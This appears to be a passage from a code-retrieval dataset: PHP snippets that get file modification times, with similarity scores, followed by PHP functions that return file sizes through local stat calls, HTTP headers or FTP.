max($lastModified, $mtime);\n\n }\n return $lastModified;\n }", "public function lastModificationTime($path);", "public function getFileTime() {\n /* filemtime — Gets file modification time */\n $xmlfile = FCPATH.\"sitemap.xml\";\n if (file_exists($xmlfile)) {\n return date(\"F d Y H:i:s.\", filemtime($xmlfile));\n }else{\n return FALSE;\n }\n }", "public static function getLastModifiedTime(string $path) : int\n {\n return (new File($path))->getLastModifiedTime();\n }", "public function modificationTime($path) {\n return filemtime($path);\n }", "public function get_timestamp() {\n\n\t\tif ( file_exists( $this->get_path( 'file' ) ) ) {\n\t\t\treturn filemtime( $this->get_path( 'file' ) );\n\t\t}\n\t\treturn false;\n\t}", "private function getTargetModificationTime() {\n if (!isset($this->targetModificationTime)) {\n $this->targetModificationTime = (int) @filemtime($this->target);\n }\n return $this->targetModificationTime;\n }", "function get_last_modification_date($path) {\n\t\n\t// Only take into account those files whose extensions you want to show.\n\t$allowedExtensions = array(\n\t 'php',\n\t 'phtml',\n\t 'js',\n\t 'css'\n\t);\n \n if (!file_exists($path))\n return 0;\n \n $ar_bits = explode(\".\", $path);\n $extension = end($ar_bits);\n if (is_file($path) && in_array($extension, $allowedExtensions))\n return filemtime($path);\n $ret = 0;\n \n if (is_array(glob($path.\"/*\"))) foreach (glob($path.\"/*\") as $fn)\n\t{\n if (get_last_modification_date($fn) > $ret)\n $ret = get_last_modification_date($fn); \n // This will return a timestamp, you will have to use date().\n\t}\n\t#dump($ret,'$ret');\n return $ret;\n}", "public function last_modified() {\n\t\treturn $this->timestamp;\n\t}", "public static function getLastModified() {}", "function getLastModified() {\n\t\treturn $this->getData('lastModified');\n\t}", "public function getLast_modified() {\n\t\treturn $this->last_modified;\n\t}", "public function getLastModified()\n\t{\n\t\treturn $this->last_modified;\n\t}", "public function getModified($file);", "public function getLastModified();", "public function getLastModified();", "public function getLastModified();", "public function getLastModified();", "protected function getMtime()\n {\n if ($this -> ignoreModifications) {\n return 0;\n }\n \n $max = 0;\n \n foreach (glob($this -> dir.'*.xml') as $file) {\n $max = max($max, filemtime($file));\n }\n \n return $max;\n }", "public function filetime() {\n return $this->info['filetime'];\n }", "public static function getModifiedTime($path) {\n $path = self::resolvePath($path);\n self::assertExists($path);\n self::assertIsFile($path);\n self::assertReadable($path);\n\n $modified_time = @filemtime($path);\n\n if ($modified_time === false) {\n throw new FilesystemException(\n $path,\n pht('Failed to read modified time for %s.', $path));\n }\n\n return $modified_time;\n }", "public function getLastModified()\n {\n return $this->lastModified;\n }", "public function modificationTime($path);", "public function mtime($file)\n {\n }", "public function mtime($file)\n {\n }", "public function mtime($file)\n {\n }", "public function mtime($file)\n {\n }", "public function mtime($file)\n {\n }", "public static function getModifiedDate($path) {\n\n //Check for the last modified \n $lmodified = 0;\n $files = glob($path . '/*');\n\n foreach ($files as $file) {\n if (is_dir($file)) {\n $modified = dirmtime($file);\n } else {\n $modified = filemtime($file);\n }\n if ($modified > $lmodified) {\n $lmodified = $modified;\n }\n }\n return $lmodified;\n }", "public function getLastModified()\n {\n return $this->_lastModified;\n }", "public function getModifTime($sFile)\n {\n return is_file($sFile) ? filemtime($sFile) : false;\n }", "public function getLastModifiedDate() {\n\t\treturn date(\"d/m/Y\", strtotime($this->lastModifiedDate));\n\t}", "public function getLastModified(){\n return $this->lastModified;\n }", "private function _lastAccessed ($file)\n {\n return fileatime($file);\n }", "public function getModifed(): DateTime\n {\n $DateTime = new DateTime();\n $DateTime->createFromFormat('U', filemtime($this->filePath));\n return $DateTime;\n }", "public static function getRemoteFileMTime($uri) {\n if (file_exists($uri)) {\n return filemtime($uri);\n }\n\n $uri = parse_url($uri);\n $handle = @fsockopen($uri['host'], 80);\n if (!$handle) {\n return 0;\n }\n\n fputs($handle, \"HEAD $uri[path] HTTP/1.1\\r\\nHost: $uri[host]\\r\\n\\r\\n\");\n $result = 0;\n while (!feof($handle)) {\n $line = fgets($handle, 1024);\n if (!trim($line)) {\n break;\n }\n\n $col = strpos($line, ':');\n if ($col !== false) {\n $header = trim(substr($line, 0, $col));\n $value = trim(substr($line, $col + 1));\n if (strtolower($header) == 'last-modified') {\n $result = strtotime($value);\n break;\n }\n }\n }\n fclose($handle);\n return $result;\n }", "public function lastModification(): int\n {\n if (!is_null($this->newName)) {\n return filemtime($this->fullNewName());\n }\n if (!$this->isFile()) {\n throw new Exception(\"There is no valid file to check last time modified.\");\n }\n\n return filemtime($this->fullName());\n }", "public function getLastModifiedAt()\n {\n return $this->lastModifiedAt;\n }", "public function getLastModifiedAt()\n {\n return $this->lastModifiedAt;\n }", "public function getLastModifiedAt()\n {\n return $this->lastModifiedAt;\n }", "public function getLastModifiedAt()\n {\n return $this->lastModifiedAt;\n }", "public function getLastModifiedAt()\n {\n return $this->lastModifiedAt;\n }", "public function getModificationTime($path);", "public static function lastModified($path)\n\t{\n\t\treturn filemtime($path);\n\t}", "public static function getModifiedTime($path) {\n $path = self::resolvePath($path);\n $modified_time = @filemtime($path);\n\n if ($modified_time === false) {\n throw new Exception(pht('Failed to read modified time for %s.', $path));\n }\n\n return $modified_time;\n }", "public function getModifiedDate()\n {\n $this->modified_date = null;\n\n if ($this->exists === true) {\n } else {\n return;\n }\n\n if ($this->is_file === true) {\n } else {\n return;\n }\n\n $this->modified_date =\n $this->temp_files[$this->path]->year . '-' .\n $this->temp_files[$this->path]->month . '-' .\n $this->temp_files[$this->path]->day . ' ' .\n $this->temp_files[$this->path]->time;\n\n return;\n }", "function bps_getLoginSecurityResetFileLastMod() {\n$filename = WP_CONTENT_DIR . '/bps-backup/master-backups/Login-Security-Alert-Reset.txt';\n$gmt_offset = get_option( 'gmt_offset' ) * 3600;\n\nif ( file_exists($filename) ) {\n\t$last_modified = date(\"F d Y H:i:s\", filemtime($filename) + $gmt_offset );\n\treturn $last_modified;\n\t}\n}", "public function getLastModifiedAt();", "public function getLastModifiedAt();", "private function _get_most_recent_filemtime($dir_name)\n\t{\n\t\t$dir = dir($dir_name);\n\t\t\n\t\t$last_modified = 0;\n\t\t\n\t\twhile($entry = $dir->read())\n\t\t{\n\t\t\tif ($entry != \".\" && $entry != \"..\")\n\t\t\t{\n\t\t\t\tif (!is_dir($dir_name . '/'. $entry))\n\t\t\t\t{\n\t\t\t\t\t$current_modified = filemtime($dir_name . '/' . $entry);\n\t\t\t\t}\n\t\t\t\telse if (is_dir($dir_name . '/' . $entry))\n\t\t\t\t{\n\t\t\t\t\t$current_modified = $this->_get_most_recent_filemtime($dir_name . '/' . $entry);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif ($current_modified > $last_modified)\n\t\t\t\t{\n\t\t\t\t\t$last_modified = $current_modified;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\t$dir->close();\n\t\t\n\t\treturn $last_modified;\n\t}", "function getLastModifiedDate() {\n\t\treturn $this->data_array['last_modified_date'];\n\t}", "public function getAssetFileLastModified()\n {\n if ($this->isAssetFilePathUrl()) {\n if (\n //Retrieve headers\n ($aHeaders = get_headers($sAssetFilePath = $this->getAssetFilePath(), 1))\n //Assert return is OK\n && strstr($aHeaders[0], '200') !== false\n //Retrieve last modified as DateTime\n && !empty($aHeaders['Last-Modified']) && $oLastModified = new \\DateTime($aHeaders['Last-Modified'])\n ) {\n return $oLastModified->getTimestamp();\n } else {\n $oCurlHandle = curl_init($sAssetFilePath);\n curl_setopt($oCurlHandle, CURLOPT_NOBODY, true);\n curl_setopt($oCurlHandle, CURLOPT_RETURNTRANSFER, true);\n curl_setopt($oCurlHandle, CURLOPT_FILETIME, true);\n if (curl_exec($oCurlHandle) === false) {\n return null;\n }\n return curl_getinfo($oCurlHandle, CURLINFO_FILETIME) ? : null;\n }\n } else {\n \\Zend\\Stdlib\\ErrorHandler::start();\n $iAssetFileFilemtime = filemtime($this->getAssetFilePath());\n \\Zend\\Stdlib\\ErrorHandler::stop(true);\n return $iAssetFileFilemtime ? : null;\n }\n }", "function get_page_mod_time() { \n\tdate_default_timezone_set('America/Los_Angeles');\n\n $incls = get_included_files(); \n $incls = array_filter($incls, \"is_file\"); \n $mod_times = array_map('filemtime', $incls); \n $mod_time = max($mod_times); \n\n return $mod_time; \n}", "function get_timemodified() {\n return $this->timemodified;\n }", "private static function lastModificationDate($file = null, $content = null)\n\t{\n\t\t$last_modified_time = $file ? filemtime($file) : mktime();\n\t\theader(\"Last-Modified: \".gmdate(\"D, d M Y H:i:s\", $last_modified_time).\" GMT\");\n\t\tif( is_null($file) || (Common::getExtention($file) == 'php' && !self::$activateCache) || Client::isOldMSIE() )\n\t\t{\n\t\t\theader(\"Cache-Control: no-cache, must-revalidate\");\n\t\t\theader(\"Pragma: no-cache\");\n\t\t}\n\t\telse\n\t\t{\n\t\t\theader(\"Expires: \" . gmdate(\"D, d M Y H:i:s\", filemtime($file) + 3600) . \" GMT\");\n\t\t\theader(\"Cache-Control: public\");\n\t\t\t\n\t\t\t// Additional stuff: force the cache to be activated !!!!\n\t\t\t$etag = md5($content);\n\t\t\tif( @strtotime($_SERVER['HTTP_IF_MODIFIED_SINCE']) == $last_modified_time || trim($_SERVER['HTTP_IF_NONE_MATCH']) == $etag )\n\t\t\t{\n\t\t\t\theader(\"HTTP/1.1 304 Not Modified\"); // File cached !!! No need to re-sent it !\n\t\t\t\texit;\n\t\t\t}\n\t\t}\n\t}", "public static function lastModified($_path)\r\n {\r\n return filemtime($_path);\r\n }", "public function getLastUpdateDateTime() {\n\t\t// open file\n\t\t$lastUpdateStorageFile = fopen($this::LAST_UPDATE_STORAGE_FILE, $this::FILE_READ_ONLY_MODE);\n\t\n\t\t// read the first and unique line\n\t\t$lastUpdateDateTime = fgets($lastUpdateStorageFile);\n\t\n\t\t// Close the file\n\t\tfclose($lastUpdateStorageFile);\n\t\n\t\treturn $lastUpdateDateTime;\n\t}", "public function getLastModifiedDateTime()\n {\n if (array_key_exists(\"lastModifiedDateTime\", $this->_propDict)) {\n if (is_a($this->_propDict[\"lastModifiedDateTime\"], \"\\DateTime\") || is_null($this->_propDict[\"lastModifiedDateTime\"])) {\n return $this->_propDict[\"lastModifiedDateTime\"];\n } else {\n $this->_propDict[\"lastModifiedDateTime\"] = new \\DateTime($this->_propDict[\"lastModifiedDateTime\"]);\n return $this->_propDict[\"lastModifiedDateTime\"];\n }\n }\n return null;\n }", "public function getLastModifiedDateTime()\n {\n if (array_key_exists(\"lastModifiedDateTime\", $this->_propDict)) {\n if (is_a($this->_propDict[\"lastModifiedDateTime\"], \"\\DateTime\") || is_null($this->_propDict[\"lastModifiedDateTime\"])) {\n return $this->_propDict[\"lastModifiedDateTime\"];\n } else {\n $this->_propDict[\"lastModifiedDateTime\"] = new \\DateTime($this->_propDict[\"lastModifiedDateTime\"]);\n return $this->_propDict[\"lastModifiedDateTime\"];\n }\n }\n return null;\n }", "public function getLastModifiedDateTime()\n {\n if (array_key_exists(\"lastModifiedDateTime\", $this->_propDict)) {\n if (is_a($this->_propDict[\"lastModifiedDateTime\"], \"\\DateTime\") || is_null($this->_propDict[\"lastModifiedDateTime\"])) {\n return $this->_propDict[\"lastModifiedDateTime\"];\n } else {\n $this->_propDict[\"lastModifiedDateTime\"] = new \\DateTime($this->_propDict[\"lastModifiedDateTime\"]);\n return $this->_propDict[\"lastModifiedDateTime\"];\n }\n }\n return null;\n }", "public function getLastModifiedDateTime()\n {\n if (array_key_exists(\"lastModifiedDateTime\", $this->_propDict)) {\n if (is_a($this->_propDict[\"lastModifiedDateTime\"], \"\\DateTime\") || is_null($this->_propDict[\"lastModifiedDateTime\"])) {\n return $this->_propDict[\"lastModifiedDateTime\"];\n } else {\n $this->_propDict[\"lastModifiedDateTime\"] = new \\DateTime($this->_propDict[\"lastModifiedDateTime\"]);\n return $this->_propDict[\"lastModifiedDateTime\"];\n }\n }\n return null;\n }", "public function get_date_modified();", "function http_send_last_modified($timestamp = null) {}", "public function fileTime() { return $this->_m_fileTime; }", "public function getLastModify()\n\t{\n\t\treturn $this->last_modify;\n\t}", "public function lastModified($last_modified_time = null)\n {\n return $this->dateHeader('Last-Modified', $last_modified_time, 'lastModified', '$last_modified_time');\n }", "public static function lastModified($path)\r\n {\r\n return @filemtime(Akt_Filesystem_Path::clean($path));\r\n }", "public function getModifiedTime()\n\t{\n\t\treturn $this->modifiedTime; \n\n\t}", "public function mg_currentmtime( &$parser )\n\t{\n\t\treturn @filemtime( $this->currentExtractFile );\t\n\t}", "public function getLastModifiedAt()\n {\n if (is_null($this->lastModifiedAt)) {\n /** @psalm-var ?string $data */\n $data = $this->raw(self::FIELD_LAST_MODIFIED_AT);\n if (is_null($data)) {\n return null;\n }\n $data = DateTimeImmutable::createFromFormat(MapperFactory::DATETIME_FORMAT, $data);\n if (false === $data) {\n return null;\n }\n $this->lastModifiedAt = $data;\n }\n\n return $this->lastModifiedAt;\n }", "public function filemtime($reset = false) {\n\t\tif($reset) {} // @todo\n\t\treturn (int) @filemtime($this->filename());\n\t}", "public function getLastModificationDateTime() {\n $timestamp = $this->getUpdatedAt();\n // we don't know when the module content is updated, so we \"guess\"\n if ($this->getModule() != '') {\n $timestamp->setDate(date('Y'), date('m'), date('d'));\n }\n return $timestamp;\n }", "protected function getTimeStamp(){\n\t\t$result = $this->getFile()->getProperty('tstamp');\n\t\tif ($this->processedFile) {\n\t\t\t$result = $this->processedFile->getProperty('tstamp');\n\t\t}\n\t\treturn $result;\n\t}", "function lastModified()\n {\n if(!empty($this->list)) {\n return strtotime($this->list->modified);\n }\n return null;\n }", "function mdtm($pathname)\r\n {\r\n if ($this->_use_mod_ftp) {\r\n \t\t$response = ftp_mdtm($this->_socket, $pathname);\r\n \t} else {\r\n \t$this->putcmd(\"MDTM\", $pathname);\r\n \t$response = $this->getresp();\r\n \t}\r\n \tif (!$response) {\r\n \t\treturn FALSE;\r\n \t}\r\n \tif (ereg(\"^[123]\", $response)) {\r\n \t\t$mdtm = ereg_replace(\"^[0-9]{3} ([0-9]+)\\r\\n\", \"\\\\1\", $response);\r\n \t\tlist ($year, $mon, $day, $hour, $min, $sec) = sscanf($mdtm, \"%4d%2d%2d%2d%2d%2d\");\r\n \t\t$timestamp = mktime($hour, $min, $sec, $mon, $day, $year);\r\n \t\treturn $timestamp;\r\n \t} else {\r\n \t\treturn -1;\r\n \t}\r\n }", "public function fileModified($path)\n {\n try {\n return Carbon::createFromTimestamp($this->disk->lastModified($path));\n } catch (\\Exception $e) {\n return Carbon::now();\n }\n }", "public function get_file_version($file_name = null) {\n return $this->wp_fs()->mtime($file_name);\n }", "public function modifiedTime($key) {\n\t\t$cache = apc_cache_info('user');\n\t\tif (empty($cache['cache_list'])) {\n\t\t\treturn false;\n\t\t}\n\t\tforeach ($cache['cache_list'] as $entry) {\n\t\t\tif ($entry['info'] != $key) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\treturn $entry['mtime'];\n\t\t}\n\t\treturn false;\n\t}", "public static function LastModified() {\r\n\t\t$cls = get_called_class();\r\n\t\tif (isset(self::$_lastModified[$cls]) && self::$_lastModified[$cls]->exists()) {\r\n\t\t\treturn self::$_lastModified[$cls];\r\n\t\t}\r\n\t\treturn null;\t\t\r\n\t}" ]
[ "0.785896", "0.7853764", "0.76354814", "0.76215774", "0.7585144", "0.75746024", "0.7485236", "0.741292", "0.73525614", "0.7312679", "0.7303617", "0.725436", "0.7171301", "0.71710163", "0.714984", "0.71402484", "0.7102086", "0.7040353", "0.7029332", "0.6981905", "0.69645715", "0.6946501", "0.6935236", "0.6934088", "0.6899313", "0.6836163", "0.6801267", "0.67945755", "0.67873544", "0.6773072", "0.67666775", "0.67291635", "0.6703339", "0.6703146", "0.6690676", "0.66900176", "0.66900176", "0.66900176", "0.66900176", "0.66783506", "0.6675411", "0.66742915", "0.6670087", "0.6654937", "0.66543406", "0.66543406", "0.66543406", "0.66543406", "0.6652021", "0.6651026", "0.6648662", "0.6636194", "0.66230285", "0.6565303", "0.65646577", "0.6533274", "0.6530476", "0.65295297", "0.65207684", "0.65207684", "0.65207684", "0.65207684", "0.65207684", "0.65186465", "0.6507344", "0.65033525", "0.64887637", "0.6480644", "0.64789265", "0.64789265", "0.6471704", "0.6463185", "0.6430363", "0.6407905", "0.6401544", "0.6383233", "0.63806105", "0.63795424", "0.63447154", "0.63447154", "0.63447154", "0.63447154", "0.63316804", "0.6322236", "0.6317058", "0.62955993", "0.62931514", "0.6238324", "0.62355584", "0.6223816", "0.62165606", "0.6215071", "0.6203806", "0.61951804", "0.6193805", "0.6175571", "0.61704177", "0.61688995", "0.6163233", "0.61529046" ]
0.70759666
17
Returns the size of the given file Note: Not all servers support this feature!
public function size($file) { if ($this->getActive()) { // get the size of $file $buff = ftp_size($this->_connection, $file); if ($buff != -1) { return $buff; } else { return false; } } else { throw new CHttpException(403, 'EFtpComponent is inactive and cannot perform any FTP operations.'); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getSize($file);", "static function size($file){\r\n\t\t$file = new File\\Instance($file);\r\n\t\treturn $file->Size();\r\n\t}", "public function getSize()\r\n {\r\n return filesize($this->filename);\r\n }", "public function getSize()\n {\n return $this->file->getSize();\n }", "public function get_file_size()\n\t{\n if (!$this->file_size) {\n if ($this->local_file) {\n $this->file_size = filesize($this->local_file);\n } else {\n $object = upload_aws2::$client->listObjects(array(\n 'Bucket' => $this->bucket,\n 'Prefix' => $this->location\n ));\n $this->file_size = $object['Contents'][0]['Size'];\n }\n }\n return $this->file_size;\n\t}", "public function getSize()\n {\n return $this->file['size'];\n }", "public function getFileSize() {\n\t\treturn filesize($this->filename);\n\t}", "public function size( $file ) {\n\t\treturn ftp_size( $this->link, $file );\n\t}", "public function getSize() {\n\t\treturn filesize($this->getPath());\n\t}", "public function getFilesize()\n {\n return $this->filesize;\n }", "public function getSize()\n {\n return $this->fileStructure->size;\n }", "public function getSize()\n {\n return filesize($this->file) ?: null;\n }", "public function getSize(){\n $path = $this->aParams['path'] . $this->aParams['name'];\n if(\n is_null($this->aParams['size']) &&\n mb_strlen($this->aParams['path']) &&\n mb_strlen($this->aParams['name']) &&\n file_exists($path)\n\n ){\n $this->aParams['size'] = filesize($path);\n }\n return\n $this->aParams['size'] !== FALSE && $this->aParams['size'] !== null\n ? sprintf('%u', $this->aParams['size'])\n : NULL;\n }", "public function getSize()\n\t{\n\t\treturn filesize($this->tmp_name);\n\t}", "public function getSize($path);", "private function find_filesize($file){\n\n if(substr(PHP_OS, 0, 3) == \"WIN\"){\n\n exec('for %I in (\"'.$file.'\") do @echo %~zI', $output);\n $return = $output[0];\n\n }else{\n\n $return = filesize($file);\n\n // SOURCE :: https://www.php.net/manual/en/function.filesize.php\n // AUTHOR :: https://www.php.net/manual/en/function.filesize.php#121437\n //$fsobj = new COM(\"Scripting.FileSystemObject\");\n //$f = $fsobj->GetFile($file);\n //$return = $f->Size;\n\n }\n\n return $return;\n\n }", "function size($file) {\r\n\t\t$file = $this->_constructPath($file);\r\n\t\t$res = @ftp_size($this->_handle, $file);\r\n\t\tif ( $res == -1 ) {\r\n\t\t\tthrow new ftpSizeException($file);\r\n\t\t} else {\r\n\t\t\treturn $res;\r\n\t\t}\r\n\t}", "public function getFile_size() {\n return $this->_file_size ? (int) $this->_file_size : null;\n }", "public function size() {\n\t\treturn filesize($this->_path);\n\t}", "public function getSize()\n {\n return $this->fileInfo['size'];\n }", "public function getSize()\n {\n $size = null;\n\n if ($this->stream) {\n $stats = fstat($this->stream);\n $size = $stats['size'];\n }\n\n return $size;\n }", "function get_file_size($filename) {\n\t$domain = $_SERVER['HTTP_HOST'];\n\t$script = $_SERVER['SCRIPT_NAME'];\n\t$currentfile = basename($script);\n\t$fullurl = \"http://$domain\".str_replace($currentfile, '', $script).$filename;\n\t\n\t// Context for file_get_contents HEAD request\n\t$context = stream_context_create(array('http'=>array('method'=>'HEAD')));\n\t\n\t// file_get_contents HEAD request\n\t$request = file_get_contents($fullurl, false, $context);\n\t\n\t// Go through each response header and search for Content-Length\n\tforeach($http_response_header as $hrh) {\n\t\tif(strpos($hrh, 'Content-Length') !== false) {\n\t\t\t$size = str_replace('Content-Length:', '', $hrh);\n\t\t\t$size = trim($size);\n\t\t}\n\t}\n\treturn $size;\n}", "public function getSize() {\r\n\t\treturn $this->app->filesystem->formatFilesize($this->get('size', 0));\r\n\t}", "public function filesize()\n {\n $size =\n round(\n (filesize('/var/www/html/web'.$this->getSrc()) / 1000),\n 2\n );\n\n // Clear cache\n clearstatcache();\n // Return result\n return $size . ' Kb';\n }", "public function getLength()\n {\n return filesize($this->fullPath);\n }", "public static function size($path)\n\t{\n\t\treturn filesize($path);\n\t}", "public static function size($path)\n\t{\n\t\treturn filesize($path);\n\t}", "public function getSize()\n {\n return $this->fstat()[\"size\"];\n }", "public function getFileSize()\n {\n return $this->fileSize;\n }", "public function getFileSize()\n {\n return $this->fileSize;\n }", "function c_filesize($filename) {\r\n\r\n $serach_name=e_file_exists($filename);\r\n return filesize($serach_name);\r\n}", "public function size()\n {\n return $this->getPackage('FileStation')->size($this->path);\n }", "protected function getResourceLength(): int\n {\n if (null === $this->fileName) {\n return parent::getResourceLength();\n }\n\n if (substr($this->fileName, 0, 16) === 'compress.zlib://') {\n return filesize(substr($this->fileName, 16));\n } elseif (substr($this->fileName, 0, 17) === 'compress.bzip2://') {\n return filesize(substr($this->fileName, 17));\n }\n\n return parent::getResourceLength();\n }", "public function size($file)\n {\n }", "public function size($file)\n {\n }", "public function size($file)\n {\n }", "public function size($file)\n {\n }", "public function size($file)\n {\n }", "public function getSize(): int\n {\n return $this->filesystem->getSize(\n $this->resource->getPath()\n );\n }", "function size($path)\t{\n\t\tif ($file = $this->file($path)) {\n\t\t\treturn filesize($file);\n\t\t}\n\t}", "public function getSize() {\n\t\t$stat = fstat($this->handle);\n\t\treturn isset($stat['size']) ? $stat['size'] : false;\n\t}", "public static function getSize($path) {\n \n }", "public function getSize()\n\t{\n\t\tif(!$this->__isFile())\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\treturn filesize($this->_path);\n\t}", "public function getSize() : int\n {\n if (null === $this->size) {\n if (!file_exists($this)) {\n throw new Exception(sprintf('target file \\'%s\\' doesn\\'t exist', $this->getFilename()));\n }\n $this->size = filesize($this);\n }\n return $this->size;\n }", "function getFileSize($file)\n{\n return (float)shell_exec('du -sk \"' . $file . '\" | awk \\'{print$1}\\'') * 1024;\n}", "public function getSize($path)\n {\n }", "public function getFileSize() {\n return $this->size;\n }", "public function fileSize($path)\n {\n return $this->disk->size($path);\n }", "public function fileSize($path)\n {\n return $this->disk->size($path);\n }", "public function getSize() {\n return $_FILES['uploadfile']['size'];\n }", "public function size($key) {\n\t\t$result = 0;\n\t\t$proxyStatus = \\OC_FileProxy::$enabled;\n\t\t\\OC_FileProxy::$enabled = false;\n\t\tif ($this->hasKey($key)) {\n\t\t\t$storage = $this->getStorage();\n\t\t\t$result = $storage->filesize($key);\n\t\t}\n\t\t\\OC_FileProxy::$enabled = $proxyStatus;\n\t\treturn $result;\n\t}", "public static function size($path)\r\n {\r\n $path = Akt_Filesystem_Path::clean($path);\r\n\r\n if (!is_file($path)) {\r\n throw new Exception(\"File '{$path}' not found\");\r\n }\r\n\r\n $filesize = @filesize($path);\r\n\r\n if ($filesize === false) {\r\n throw new Exception(\"Couldn't get file size\");\r\n }\r\n\r\n return sprintf(\"%u\", $filesize);\r\n }", "public static function size($_path)\r\n {\r\n return filesize($_path);\r\n }", "public function getFileSize() {\r\n\t\t$byteBlock = 1<<14;\r\n\t\t$eof = $byteBlock;\r\n\t\t\r\n\t\t// the correction is for zip files that are too small\r\n\t\t// to get in the first while loop\r\n\t\t$correction = 1;\r\n\t\twhile ($this->seek($eof) == 0) {\r\n\t\t\t$eof += $byteBlock;\r\n\t\t\t$correction = 0;\r\n\t\t}\r\n\t\t\r\n\t\twhile ($byteBlock > 1) {\r\n\t\t\t$byteBlock >>= 1;\r\n\t\t\t$eof += $byteBlock * ($this->seek($eof) ? -1 : 1);\r\n\t\t}\r\n\t\t\r\n\t\tif ($this->seek($eof) == -1) $eof -= 1;\r\n\t\t\r\n\t\t$this->rewind();\r\n\t\treturn $eof - $correction;\r\n\t}", "function getSize() {\n\t\treturn $this->data_array['filesize'];\n\t}", "public function fileSize(string $path): int\n {\n return filesize($this->_sftpGetPath($path));\n }", "function fileSize($filePath) { \n\t\t$units = array('B', 'KB', 'MB', 'GB', 'TB'); \n\n\t\t$size = Storage::size($filePath);\n\t \tfor ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024; \n\n\t \treturn round($size, 2).$units[$i]; \n\t}", "public function filesize()\n\t{\n\t\treturn (int)$this->_parent->{$this->_name.'_file_size'};\n\t}", "public function length() {\r\n return filesize($this->fullName());\r\n }", "public function get_size()\n\t{\n\t\treturn $this->area->get_size($this->path);\n\t}", "public static function getFileSize(string $path) : int\n {\n return (new File($path))->getFileSize();\n }", "public function getSize()\n {\n return $this->getStat('size');\n }", "public function size(string $path): int\n {\n return filesize($path);\n }", "public function getAssetFileSize(){\n \n // Remote file\n if ($this->isAssetFilePathUrl()) {\n if (\n // Retrieve headers\n ($aHeaders = get_headers($sAssetFilePath = $this->getAssetFilePath(), 1))\n // Assert return is OK\n && strstr($aHeaders[0], '200') !== false\n // Retrieve content length\n && !empty($aHeaders['Content-Length']) && $iAssetFileSize = $aHeaders['Content-Length']\n ) {\n return $iAssetFileSize;\n }\n $oCurlHandle = curl_init($sAssetFilePath);\n curl_setopt($oCurlHandle, CURLOPT_NOBODY, true);\n curl_setopt($oCurlHandle, CURLOPT_RETURNTRANSFER, true); \n if (curl_exec($oCurlHandle) === false) {\n return null;\n }\n return curl_getinfo($oCurlHandle, CURLINFO_CONTENT_LENGTH_DOWNLOAD) ? : null;\n }\n \n // Local file\n \\Zend\\Stdlib\\ErrorHandler::start();\n $iAssetFileSize = filesize($this->getAssetFilePath());\n \\Zend\\Stdlib\\ErrorHandler::stop(true);\n return $iAssetFileSize ? : null;\n \n }", "public static function getSizeOfRemoteFile($url)\r\n\t{\r\n\t\t$headers = @get_headers($url, 1);\r\n\t\tif ($headers !== false && is_array($headers) && isset($headers['Content-Length'])) {\r\n\t\t\treturn $headers['Content-Length'];\r\n\t\t}\r\n\t\treturn false;\r\n\t}", "function getDestinationSize()\n {\n return filesize($this->destinationFilePath);;\n }", "function tdc_get_filesize($filenode){\n $file_path = tdc_get_filepath($filenode);\n $file_name = tdc_get_filename($filenode);\n $full_path = TDC_DOC_ROOT . $file_path . \"/\" .$file_name;\n $size = filesize($full_path);\n return human_filesize($size);\n}", "public function getFileSize()\n {\n if (array_key_exists(\"fileSize\", $this->_propDict)) {\n return $this->_propDict[\"fileSize\"];\n } else {\n return null;\n }\n }", "function size($pathname)\r\n {\r\n if ($this->_use_mod_ftp) {\r\n \t\t$response = ftp_size($this->_socket);\r\n \t} else {\r\n \t$this->putcmd(\"SIZE\", $pathname);\r\n \t$response = $this->getresp();\r\n \t}\r\n \tif (!$response) {\r\n \t\treturn FALSE;\r\n \t}\r\n \tif (ereg(\"^[123]\", $response)) {\r\n \t\treturn ereg_replace(\"^[0-9]{3} ([0-9]+)\\r\\n\", \"\\\\1\", $response);\r\n \t} else {\r\n \t\treturn -1;\r\n \t}\r\n }", "public function getFileSize(): int\n {\n $fileSize = 0;\n\n foreach ($this->getProcessedAndNewFiles() as $file) {\n $fileSize += (int) $file->getFileSize();\n }\n\n return $fileSize;\n }", "public function image_size()\n\t{\n if (!$this->local_file) {\n $this->get_local_file();\n }\n $image_size = getimagesize($this->local_file);\n $this->mime = $image_size['mime'];\n return $image_size;\n\t}", "public function uploadsize() {\n return $this->info['size_upload'];\n }", "public function getFileSize($url)\n\t{\n\t\treturn -1;\n\t}", "private function getSize()\n {\n $this->seek($this->offset);\n\n return $this->readLong();\n }", "public static function fromFile($filename)\n {\n return filesize($filename);\n }", "public static function filesize($file) {\n\t\tif(self::has_file($file)) {\n\t\t\t\n\t\t\t// Get Filesize\n\t\t\t$size = filesize($file);\n\t\t\t$sizes = array(\" Bytes\", \" KB\", \" MB\", \" GB\", \" TB\", \" PB\", \" EB\", \" ZB\", \" YB\");\n\n\t\t\t// Calculate\n\t if ($size == 0) {\n\t\t\t\treturn('n/a');\n\t\t\t} else {\n\t \treturn (round($size/pow(1024, ($i = floor(log($size, 1024)))), 2) . $sizes[$i]);\n\t\t\t}\t\n\t\t} else {\n\t\t\tdie(\"Disk:: File '\".$file.\"' not found!\");\n\t\t}\n\t}", "public function downloadsize() {\n return $this->info['size_download'];\n }", "public function att_get_filesize($input)\n {\n if ($_SERVER['REQUEST_METHOD'] == 'POST')\n {\n return $_FILES[$input]['size'];\n }\n else\n {\n return (int) $_SERVER['CONTENT_LENGTH'];\n }\n }", "private function getFileCount()\n {\n $this->seek($this->offset + 4);\n\n return $this->readLong();\n }", "function filesize($filedata) {\r\n\t\treturn file_exists($filedata['tmp_name']) ? filesize($filedata['tmp_name']) : false;\r\n\t}", "function ppom_get_filesize_in_kb( $file_name ) {\n\t\t\n\t$base_dir = ppom_get_dir_path();\n\t$file_path = $base_dir . 'confirmed/' . $file_name;\n\t\n\tif (file_exists($file_path)) {\n\t\t$size = filesize ( $file_path );\n\t\treturn round ( $size / 1024, 2 ) . ' KB';\n\t}elseif(file_exists( $base_dir . '/' . $file_name ) ){\n\t\t$size = filesize ( $base_dir . '/' . $file_name );\n\t\treturn round ( $size / 1024, 2 ) . ' KB';\n\t}\n\t\n}", "public function getSize($path)\n\t{\n\t\treturn $this->getMetadata($path);\n\t}", "function wp_filesize($path)\n {\n }", "public function get_size($dir_file){\n\t\n\tif(!file_exists($dir_file) or !is_dir($dir_file)) exit('the error file or 